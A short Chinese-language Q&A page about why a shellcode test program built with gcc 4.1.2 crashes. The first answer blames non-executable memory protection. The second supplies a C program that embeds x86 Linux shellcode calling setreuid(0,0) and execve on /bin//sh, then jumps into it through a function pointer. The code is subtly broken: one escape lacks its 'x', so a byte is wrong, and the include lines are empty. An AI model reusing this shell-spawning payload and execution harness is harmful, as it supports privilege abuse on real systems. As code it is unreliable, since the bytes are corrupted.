gcc4.1.2 shellcode

2025-12-24 22:18:35
推荐回答(2个)
回答1:

这是一种系统的安全机制,在内存里面,只有被列为可以执行的内存区里面放的代码数据才能执行,否则肯定会出现段错误。

参考这里:
http://bbs.chinaunix.net/viewthread.php?tid=1237275&extra=page%3D1%26amp%3Bfilter%3Ddigest

回答2:

试试这样~~我的编译通过了,但不保证你的Shellcode能正常执行

#include
#include

char shellcode[] =
{
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
};

int main()
{
typedef void (*Fn)(void);
Fn fp=NULL;
int Fun_address=(int)(void*)shellcode;
memcpy((void*)&fp,(void*)&Fun_address,4);
fp();
return 0;
}